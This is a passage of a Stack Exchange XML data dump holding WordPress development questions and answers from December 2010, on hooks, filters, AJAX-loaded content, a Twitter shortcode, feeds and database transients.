LastActivityDate="2010-12-20T18:10:08.703" Title="Changing the comments link produced by the get_comments_link() and get_comments_pagenum_link() functions" Tags="&lt;comments&gt;&lt;links&gt;&lt;overridable-functions&gt;&lt;core&gt;" AnswerCount="2" />
  <row Id="5680" PostTypeId="2" ParentId="5678" CreationDate="2010-12-20T16:31:14.850" Score="1" ViewCount="" Body="&lt;p&gt;Hey Mike -- does it need to be connected to &lt;em&gt;another post&lt;/em&gt;, or can it be a custom taxonomy or custom field?&lt;/p&gt;&#xA;" OwnerUserId="871" LastActivityDate="2010-12-20T16:31:14.850" CommentCount="1" />
  <row Id="5681" PostTypeId="2" ParentId="5678" CreationDate="2010-12-20T16:32:18.000" Score="0" ViewCount="" Body="&lt;p&gt;You're basically looking for &lt;a href=&quot;http://codex.wordpress.org/Custom_Taxonomies&quot; rel=&quot;nofollow&quot;&gt;custom taxonomies (Wordpress Codex)&lt;/a&gt;. Then you need to create a plugin that &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;adds a meta box to the post editor (Wordpress Codex)&lt;/a&gt; and lists your taxonomies form therein. The code to create a form for a taxonomy ships with wordpress itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related Question: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/2765/adding-page-attributes-metabox-and-page-templates-to-the-posts-edit-page&quot;&gt;Adding Page Attributes Metabox and Page Templates to the Posts Edit Page?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-12-20T16:32:18.000" CommentCount="1" />
  <row Id="5682" PostTypeId="2" ParentId="5679" CreationDate="2010-12-20T16:44:16.583" Score="1" ViewCount="" Body="&lt;p&gt;For the function &lt;code&gt;get_comments_link()&lt;/code&gt; no such filter exists. You might want to use an alternative function called &lt;code&gt;get_comment_link()&lt;/code&gt; which has a filter: &lt;code&gt;get_comment_link&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the function &lt;code&gt;get_comments_pagenum_link()&lt;/code&gt; a filter exists: &lt;code&gt;get_comments_pagenum_link&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To learn about how filters work please see &lt;a href=&quot;http://codex.wordpress.org/Plugin_API&quot; rel=&quot;nofollow&quot;&gt;Plugin API (Wordpress Codex)&lt;/a&gt;. The information there should answer all question about how to use &lt;code&gt;add_filter()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the link is a string in PHP, you can use any of the PHP string functions to locate, extract and replace stuff. &lt;a href=&quot;http://php.net/manual/en/ref.strings.php&quot; rel=&quot;nofollow&quot;&gt;Full list of PHP String functions (PHP Manual)&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-12-20T16:44:16.583" CommentCount="1" />
  <row Id="5683" PostTypeId="1" AcceptedAnswerId="5687" CreationDate="2010-12-20T17:19:07.680" Score="0" ViewCount="1239" Body="&lt;p&gt;I'm creating a theme that uses only the homepage. When a button is clicked, the content for that section is loaded into a div on the homepage via AJAX (script below).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$.ajaxSetup ({  &#xA;    cache: false  &#xA;});  &#xA;    var ajax_load = &quot;&amp;lt;center&amp;gt;&amp;lt;img src='&amp;lt;?php bloginfo(&quot;template_url&quot;); ?&amp;gt;/images/loading.gif' alt='Loading...' /&amp;gt;&amp;lt;/center&amp;gt;&quot;;  &#xA;&#xA;    var loadUrl = &quot;http://localhost:8888/cnNew/?portfolio=portfolio-test&quot;; &#xA;        $(&quot;#ourTeam&quot;).click(function(){&#xA;            $(&quot;#main&quot;)&#xA;                .html(ajax_load)&#xA;                .load(loadUrl + &quot; #content&quot;);&#xA;        });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All of the .js files are being loaded in via wp_enqueue_script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_init() {&#xA;    if (!is_admin()) {&#xA;        // comment out the next two lines to load the local copy of jQuery&#xA;        wp_deregister_script('jquery');&#xA;        wp_register_script('jquery', 'https://ajax.googleapis.com/ajax/libs/jquery/1.4.3/jquery.min.js', false, '1.4.3');&#xA;        wp_enqueue_script('jquery');&#xA;        wp_enqueue_script( 'galleria_plugin', get_bloginfo('template_directory') . '/js/galleria.js', array('jquery') );&#xA;    }&#xA;}&#xA;add_action('init', 'my_init');&#xA;&#xA;function my_scripts() {&#xA;    wp_enqueue_script( 'carousel', get_bloginfo('template_directory') . '/js/carousel.js', array('jquery') );&#xA;    wp_enqueue_script( 'backstretch', get_bloginfo('template_directory') . '/js/jquery.backstretch.min.js', array('jquery') );&#xA;    wp_enqueue_script( 'nivo_slider', get_bloginfo('template_directory') . '/js/jquery.nivo.slider.pack.js', array('jquery') );&#xA;    wp_enqueue_script( 'tabify', get_bloginfo('template_directory') . '/js/jquery.tabify-1.4.js', array('jquery') );&#xA;    wp_enqueue_script( 'mouse_wheel', get_bloginfo('template_directory') . '/js/scroll/jquery.mousewheel.js', array('jquery') );&#xA;    wp_enqueue_script( 'scroll_pane', get_bloginfo('template_directory') . '/js/scroll/jquery.jscrollpane.min.js', array('jquery') );&#xA;}&#xA;add_action('template_redirect', 'my_scripts');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;THE ISSUE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the page isn't refreshing and the content is being loaded into a DIV via AJAX when a button is clicked, i'm guessing, the content that is being loaded in that uses jQuery and other .js files is coming in broken because the .js files have already loaded without that content being on the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to find a way to &quot;refresh&quot; the already loaded .js files so that the newly loaded content doesn't come in broken.&#xA;Or am I approaching this in the wrong way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a novice when it comes to AJAX since this is the first time i've used it. I was given this: &lt;a href=&quot;http://www.wphardcore.com/2010/5-tips-for-using-ajax-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://www.wphardcore.com/2010/5-tips-for-using-ajax-in-wordpress/&lt;/a&gt; as a reference but I found it hard for me to follow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help!&lt;/p&gt;&#xA;" OwnerUserId="1114" LastActivityDate="2010-12-21T15:09:43.727" Title="Loading dynamic content with AJAX breaking jQuery" Tags="&lt;jquery&gt;&lt;ajax&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" />
  <row Id="5684" PostTypeId="2" ParentId="5663" CreationDate="2010-12-20T17:20:28.840" Score="3" ViewCount="" Body="&lt;p&gt;Here you go:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_shortcode('latest_tweets', 'latest_tweets');&#xA;&#xA;function latest_tweets($atts){&#xA;  extract(shortcode_atts(array(&#xA;    'max' =&amp;gt; 5&#xA;  ), $atts));&#xA;&#xA;  $twitter_id = esc_attr(strip_tags($atts[0]));&#xA;&#xA;  // try to get data from cache to avoid slow page loading or twitter blocking&#xA;  if (false === ($output = get_transient(&quot;latest_tweets_{$twitter_id}&quot;))):&#xA;&#xA;    $doc = new DOMDocument();&#xA;    $feed = &quot;http://twitter.com/statuses/user_timeline/{$twitter_id}.rss&quot;;&#xA;    $doc-&amp;gt;load($feed);&#xA;&#xA;    $output = &quot;&amp;lt;ul&amp;gt;&quot;;&#xA;    $i = 1;&#xA;    foreach ($doc-&amp;gt;getElementsByTagName('item') as $node) {&#xA;      $tweet = $node-&amp;gt;getElementsByTagName('title')-&amp;gt;item(0)-&amp;gt;nodeValue;&#xA;      //if you want to remove the userid before the tweets then uncomment the next line.&#xA;      //$tweet = substr($tweet, stripos($tweet, ':') + 1);&#xA;      $tweet = preg_replace('@(https?://([-\w\.]+)+(:\d+)?(/([\w/_\.]*(\?\S+)?)?)?)@', '&amp;lt;a href=&quot;$1&quot;&amp;gt;$1&amp;lt;/a&amp;gt;', $tweet);&#xA;      $tweet = preg_replace(&quot;/@([0-9a-zA-Z]+)/&quot;, &quot;&amp;lt;a href=\&quot;http://twitter.com/$1\&quot;&amp;gt;@$1&amp;lt;/a&amp;gt;&quot;, $tweet);&#xA;      $output .= &quot;&amp;lt;li&amp;gt;{$tweet}&amp;lt;/li&amp;gt;\n&quot;;&#xA;      if($i++ &amp;gt;= $max) break;&#xA;    }&#xA;    $output .= &quot;&amp;lt;/ul&amp;gt;\n&quot;;&#xA;    set_transient(&quot;latest_tweets_{$twitter_id}&quot;, $output, 60*10); // 10 minute cache&#xA;  endif;&#xA;&#xA;  return $output;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Usage:&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[latest_tweets &quot;DarthVader&quot; max=5]   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;PS: you have some exploit in the code you posted in your question. You should take care of that...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PPS: for people who want to do something like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;use &lt;a href=&quot;http://developer.yahoo.com/yql/&quot; rel=&quot;nofollow&quot;&gt;Yahoo Query Language&lt;/a&gt;,&#xA;requests should be faster&#xA;theoretically, and you have less&#xA;chances to be limited by the service&#xA;you're requesting data from&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;use the JSON format for the data you request&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;use WP's &lt;a href=&quot;http://codex.wordpress.org/HTTP_API&quot; rel=&quot;nofollow&quot;&gt;HTTP API&lt;/a&gt; to make external requests&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1986" LastEditorUserId="1986" LastEditorDisplayName="" LastEditDate="2010-12-20T17:29:49.923" LastActivityDate="2010-12-20T17:29:49.923" CommentCount="4" />
  <row Id="5685" PostTypeId="2" ParentId="5679" CreationDate="2010-12-20T17:55:27.000" Score="2" ViewCount="" Body="&lt;p&gt;So the solution to the &lt;code&gt;get_comments_pagenum_link()&lt;/code&gt; function is straightforward enough:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('get_comments_pagenum_link' , 'new_get_comments_pagenum_link');&#xA;function new_get_comments_pagenum_link($content) {&#xA;    $content = str_ireplace('#comments' , '#other', $content);&#xA;    return $content;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which filters the output of &lt;code&gt;get_comments_pagenum_link()&lt;/code&gt; to replace &lt;strong&gt;#content&lt;/strong&gt; with &lt;strong&gt;#other&lt;/strong&gt;, or any other string you might choose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the &lt;code&gt;get_comments_link()&lt;/code&gt; function, which can't be filtered, I have simply discovered that my WordPress theme uses it already within its own comments link function, and so have filtered this theme function instead, using the same method shown above.&lt;/p&gt;&#xA;" OwnerUserId="2039" LastActivityDate="2010-12-20T17:55:27.000" />
  <row Id="5686" PostTypeId="2" ParentId="5673" CreationDate="2010-12-20T18:22:01.940" Score="2" ViewCount="" Body="&lt;p&gt;If you're using WordPress 3.x, go to Admin &gt; Settings &gt; Media.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under &quot;Image Sizes&quot;, set all the values to zero (0), and uncheck the box labeled &quot;Crop thumbnail to exact dimensions&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click &quot;save changes&quot; and WP will no longer create thumbnails.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2010-12-20T18:22:01.940" CommentCount="4" />
  <row Id="5687" PostTypeId="2" ParentId="5683" CreationDate="2010-12-20T18:25:06.850" Score="2" ViewCount="" Body="&lt;p&gt;So if you say there are no errors, I'm assumming that your problem is the AJAX request changing the DOM, and your scripts being loaded before that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the document changes, you'll need to tell your scripts that, so they will fire their events on the new content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Either you reload all scripts again after the AJAX updated the document (then you should put your script tags inside the element that's being changed) - this is ugly&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Or use &lt;a href=&quot;http://api.jquery.com/live/&quot; rel=&quot;nofollow&quot;&gt;live()&lt;/a&gt;, or &lt;a href=&quot;http://docs.jquery.com/Plugins/livequery&quot; rel=&quot;nofollow&quot;&gt;livequery()&lt;/a&gt; in your scripts to scan for document changes. For eg:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$(&quot;.bla&quot;).click(function(){ ... })&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;should be changed to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$(&quot;.bla&quot;).live('click', function(){ ... }&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&#xA;&lt;em&gt;from the jquery API, live():&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Description: Attach a handler to the&#xA;  event for all elements which match the&#xA;  current selector, now &lt;strong&gt;and in the &#xA;  future&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;The tabify script is initiated in the&#xA;  document.ready section in the header&#xA;  this way: $('#caseSections').tabify();&#xA;  and is used on secondary pages (the&#xA;  pages that are loaded via ajax into&#xA;  the homepage via a button click).&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So tabify will be applied to the #caseSections selector from the initial document. I assume that this works. Your prooblem is that it stops working after the AJAX updates the page, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solutions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Since it's not set to be fired on a particular event, you'll need to install &amp;amp; enqueue the livequery script I mentioned above. Then change &lt;code&gt;$('#caseSections').tabify();&lt;/code&gt; with:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$('#caseSections').livequery(function(){ $(this).tabify(); });&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Simply call &lt;code&gt;$('#caseSections').tabify();&lt;/code&gt; again after the AJAX completes, in the &quot;success&quot; function.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1986" LastEditorUserId="1986" LastEditorDisplayName="" LastEditDate="2010-12-21T15:09:43.727" LastActivityDate="2010-12-21T15:09:43.727" CommentCount="13" />
  <row Id="5688" PostTypeId="1" CreationDate="2010-12-20T19:01:58.003" Score="0" ViewCount="337" Body="&lt;p&gt;What hook gets called when I edit or publish a custom post type of name 'episode gallery' ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried following but none worked.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('save_post', 'update_custom_ngg_table');&#xA;add_action('update_postmeta', 'update_custom_ngg_table');&#xA;add_action('publish_post', 'update_custom_ngg_table');&#xA;add_action('edit_post', 'update_custom_ngg_table');&#xA;add_action('edit_page', 'update_custom_ngg_table');&#xA;add_action('publish_page', 'update_custom_ngg_table');&#xA;add_action('save_page', 'update_custom_ngg_table');&#xA;add_action('publish_episode-gallery', 'update_custom_ngg_table');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am about to give up :)&lt;/p&gt;&#xA;" LastActivityDate="2011-04-14T20:50:09.703" Title="custom post type edit / publish hook" Tags="&lt;custom-post-types&gt;" AnswerCount="2" />
  <row Id="5689" PostTypeId="1" CreationDate="2010-12-20T19:02:38.500" Score="0" ViewCount="217" Body="&lt;p&gt;Custom Structure is selected in Permalink Settings and custom permlink is setted up into &quot;/%postname%/&quot;.&#xA;Then post's slug(permalink) is setted up into non Latin language text, so that they are working fine. But only pages are not working.&#xA;If page's slug is setted up into English text, this is working fine.&#xA;By the way if 'Day and name' or 'Month and name' is seleced in Permlink Settings, non English pages are working fine.&#xA;I can't know the reason.&#xA;Is it impossible to work non English pages if custom permlink is setted up into &quot;/%postname%/&quot;?&#xA;And Non Latin lanuage's example are hebrew , chinese and korean and son on.&lt;/p&gt;&#xA;" LastActivityDate="2011-09-05T11:43:07.200" Title="Non Latin page permalink problem" Tags="&lt;permalinks&gt;&lt;page&gt;&lt;multi-language&gt;" AnswerCount="2" />
  <row Id="5691" PostTypeId="1" CreationDate="2010-12-20T19:14:42.517" Score="0" ViewCount="163" Body="&lt;p&gt;I successfully created 2 custom post types: Gallery and About.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;BP- How do I add the link Gallery to the profile tabbed navigation, before settings. With two options for user (My album and Add image).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;BP -How to set a layout or for My album and a internal link to custom post: Add Image (I will do the loop and everything else).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Custom post type: How to limit users to create just only 1 About post, not more.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2011" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-05T23:36:10.427" LastActivityDate="2011-02-05T23:36:10.427" Title="Buddypress (add tab, set layout and limit amount of about posts)" Tags="&lt;custom-post-types&gt;&lt;buddypress&gt;" />
  <row Id="5692" PostTypeId="1" AcceptedAnswerId="5707" CreationDate="2010-12-20T19:30:41.863" Score="2" ViewCount="149" Body="&lt;p&gt;What is the difference between feeds served by my WordPress install vs feeds served by FeedBurner?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to disable hosted Wiordpress feed completely and use feedburner?&lt;/p&gt;&#xA;" OwnerUserId="32" LastEditorUserId="32" LastEditorDisplayName="" LastEditDate="2010-12-21T03:41:40.020" LastActivityDate="2010-12-21T03:44:58.567" Title="What is the difference between feeds served by my WordPress install vs feeds served by FeedBurner?" Tags="&lt;plugin-recommendation&gt;&lt;3.0.1&gt;&lt;feed&gt;&lt;feedburner&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="5693" PostTypeId="2" ParentId="3198" CreationDate="2010-12-20T19:50:28.290" Score="0" ViewCount="" Body="&lt;p&gt;You should check out ping.fm. I use it via AOL IM. I send the ping.fm IM bot a message, and it broadcasts it to all my social accounts.&lt;/p&gt;&#xA;" LastActivityDate="2010-12-20T19:50:28.290" />
  <row Id="5694" PostTypeId="2" ParentId="3198" CreationDate="2010-12-20T20:43:11.187" Score="0" ViewCount="" Body="&lt;p&gt;yes, for ping.fm you can use &lt;a href=&quot;http://wordpress.org/extend/plugins/shorten2ping/&quot; rel=&quot;nofollow&quot;&gt;Shorten2Ping&lt;/a&gt; plugin&#xA;or &lt;a href=&quot;http://wordpress.org/extend/plugins/shorten2ping-ng/&quot; rel=&quot;nofollow&quot;&gt;Sorten2PingNG&lt;/a&gt;, personaly i use the su.pr service and the official StumbleUpon plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/supr-by-stumbleupon/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2010-12-20T20:43:11.187" />
  <row Id="5695" PostTypeId="2" ParentId="5688" CreationDate="2010-12-20T20:58:00.697" Score="2" ViewCount="" Body="&lt;p&gt;It's always save_post, no matter what the post type. save_post also runs when creating and publishing a new post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From inside your hooked function you can figure out what kind of post is being handled--it gets passed both the post id and the entire post object.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpsx_5688_update_post($post_id, $post) {&#xA;&#xA;    // Make sure the post obj is present and complete. If not, bail.&#xA;    if(!is_object($post) || !isset($post-&amp;gt;post_type)) {&#xA;        return;&#xA;    }&#xA;&#xA;    switch($post-&amp;gt;post_type) { // Do different things based on the post type&#xA;&#xA;        case &quot;episode-gallery&quot;:&#xA;            // Do your episode gallery stuff&#xA;            break;&#xA;&#xA;        case &quot;another-post-type-slug&quot;:&#xA;            // Do other stuff&#xA;            break;&#xA;&#xA;        default:&#xA;            // Do other stuff&#xA;&#xA;    }&#xA;&#xA;}&#xA;add_action('save_post', 'wpsx_5688_update_post', 1, 2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another thing to consider is that--depending on your exact problem, I'm not sure what you're trying to do--it might not be that the hook isn't firing, but that the code inside your hooked function has errors. Just something else to check if you're stuck.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2010-12-20T20:58:00.697" />
  <row Id="5696" PostTypeId="1" CreationDate="2010-12-20T21:00:44.000" Score="1" ViewCount="156" Body="&lt;p&gt;Is it possible to import a hosted TypePad blog into WordPress self-hosted, &lt;em&gt;including&lt;/em&gt; all of the image files and other media? I generated an export file from within TypePad but it is just a text file with the image URLs contained within the post content.&lt;/p&gt;&#xA;" OwnerUserId="2088" LastActivityDate="2010-12-21T04:16:32.610" Title="How to import a TypePad blog including all media?" Tags="&lt;import&gt;" AnswerCount="3" />
  <row Id="5697" PostTypeId="2" ParentId="5232" CreationDate="2010-12-20T21:07:03.733" Score="0" ViewCount="" Body="&lt;p&gt;You can take a look in &lt;a href=&quot;http://www.mywebsiteworkout.com/website-tips-daily-image-rotation.shtml&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; Javascript example,&#xA;it's very easy to implement it in your theme.&lt;/p&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2010-12-20T21:07:03.733" CommentCount="1" />
  <row Id="5698" PostTypeId="2" ParentId="5696" CreationDate="2010-12-20T21:12:02.950" Score="1" ViewCount="" Body="&lt;p&gt;Yes, you can login to your WP site,&lt;br&gt;&#xA;go to Tools =&gt; Import and from there you can select to import the TypePad file you have generate, it's a very simple process.&lt;/p&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2010-12-20T21:12:02.950" />
  <row Id="5699" PostTypeId="2" ParentId="5692" CreationDate="2010-12-20T21:20:12.037" Score="1" ViewCount="" Body="&lt;p&gt;FeedBurner provides stats that WordPress does not, such as analytics. Here are some uses of FeedBurner features:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.wisnet.com/noteworthy/7-useful-feedburner-features-for-bloggers/0/0/418/&quot; rel=&quot;nofollow&quot;&gt;http://www.wisnet.com/noteworthy/7-useful-feedburner-features-for-bloggers/0/0/418/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Out-of-the-box, WordPress feeds work fine and do just what they're supposed to do.&lt;/p&gt;&#xA;" OwnerUserId="839" LastActivityDate="2010-12-20T21:20:12.037" CommentCount="1" />
  <row Id="5700" PostTypeId="2" ParentId="5696" CreationDate="2010-12-20T21:28:56.117" Score="1" ViewCount="" Body="&lt;p&gt;The export file isn't supposed to contain actual images--just references to them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you do the import (as @Philip directed), it's important that the images still be available via http in those original locations. WordPress downloads them and adds them to the local media library during the import process.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2010-12-20T21:28:56.117" />
  <row Id="5701" PostTypeId="1" CreationDate="2010-12-20T22:14:56.933" Score="5" ViewCount="257" Body="&lt;p&gt;My question is pretty much summed up in the title. I'm dropping a meta box in the New Post / Edit Post admin page, and I want to be able to set it up with tabs like the Categories meta box has. I assume there's an easy way to hook into this, but I can't remember how. Does anybody know?&lt;/p&gt;&#xA;" OwnerUserId="871" LastActivityDate="2010-12-21T13:44:43.470" Title="Is there an easy way to make a meta box have the tabs like the Categories meta box has?" Tags="&lt;categories&gt;&lt;metabox&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="4" />
  <row Id="5702" PostTypeId="2" ParentId="5581" CreationDate="2010-12-20T22:17:39.553" Score="2" ViewCount="" Body="&lt;p&gt;Since the URL is the same for new visitors and returning visitors, any kind of page caching (w3tc or another like super cache) would mix up the messages, showing the message of whatever user primed the cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best alternative I can think of would be to use javascript (even an ajax call to a custom page that displays the WWSGD message) to display the message.  As far as I know you'd need to create your own code to do this.&lt;/p&gt;&#xA;" OwnerUserId="839" LastActivityDate="2010-12-20T22:17:39.553" />
  <row Id="5703" PostTypeId="2" ParentId="5689" CreationDate="2010-12-20T22:24:06.350" Score="0" ViewCount="" Body="&lt;p&gt;Try WordPress 3.1-beta. It has some fixes in this area.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2010-12-20T22:24:06.350" CommentCount="1" />
  <row Id="5704" PostTypeId="1" AcceptedAnswerId="5714" CreationDate="2010-12-21T00:33:07.093" Score="0" ViewCount="543" Body="&lt;p&gt;I just noticed 55.000 entries(!) in my wp_options table. I had not been there for a while.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I ran:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;delete from `wp_options` where `option_name` like '_transient_timeout_rss%'&#xA;delete from `wp_options` where `option_name` like '_transient_rss_%'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And... it is now back to 645 entries...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I have these older RSS entries removed automatically since transient seems to be eternal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could It be that on my webhost cron is not working?&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2011-01-11T14:09:11.033" Title="Transient RSS feeds in wp_options not removed automatically?" Tags="&lt;database&gt;&lt;cron&gt;&lt;wp-options&gt;" AnswerCount="2" />
  <row Id="5705" PostTypeId="2" ParentId="5232" CreationDate="2010-12-21T01:01:28.267" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt; &amp;lt;div id=&quot;header&quot;&amp;gt;&#xA;    &amp;lt;?php&#xA;        mt_srand((int)date('z'));&#xA;        $headers=glob(PATH_TO_FILES .'/*.jpg');&#xA;&#xA;        $header=mt_rand(0,count($headers)-1  );&#xA;        ?&amp;gt;&#xA;            &amp;lt;img id=&quot;header-image&quot;  `src=&quot;&amp;lt;?php echo URL_TO_FILES . '/'.basename($headers[$header]);  ?&amp;gt;&quot; alt=&quot;header&quot; /&amp;gt;&#xA;&#xA;&#xA;&#xA;&#xA; &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;replace your current header with this. I will of course help you implement this further if you need help. (or if you need the code explained)&lt;/p&gt;&#xA;" OwnerUserId="1695" LastActivityDate="2010-12-21T01:01:28.267" CommentCount="2" />
  <row Id="5706" PostTypeId="1" CreationDate="2010-12-21T02:52:11.240" Score="2" ViewCount="113" Body="&lt;p&gt;When I deal with Multisite installation.Some themes like mystique and aparatus provide the widget areas with in the theme-settings page to enter Advertising codes in the form of HTML or java script .But I want the 'Ad code Boxes' to access only by super admin(Me on my Multisite) and not by Normal admins .Can I make that boxes available only to me?&lt;/p&gt;&#xA;" OwnerUserId="2078" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-03-17T13:00:41.973" LastActivityDate="2011-03-17T13:00:41.973" Title="Editing theme files and access to the Code pages only to super-admin?" Tags="&lt;themes&gt;&lt;multisite&gt;&lt;plugin-recommendation&gt;&lt;customization&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="5707" PostTypeId="2" ParentId="5692" CreationDate="2010-12-21T03:44:58.567" Score="2" ViewCount="" Body="&lt;p&gt;Here are some reasons I think FB does well:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;feed statistics: subscribers, item view and clicks&lt;/li&gt;&#xA;&lt;li&gt;email subscription: control email template, subscribers&lt;/li&gt;&#xA;&lt;li&gt;sharing posts on social networks with FeedFlare&lt;/li&gt;&#xA;&lt;li&gt;monitize with Google Adsense&lt;/li&gt;&#xA;&lt;li&gt;reduces CPU usage on your host.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Some of above features you can do with plugins, but it costs CPU usage and sometimes host space. With FB, you let FB do all of these stuff without any prices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FB has its own plugin that redirects WP feed to FB automatically, you can find it in FB.&lt;/p&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2010-12-21T03:44:58.567" />
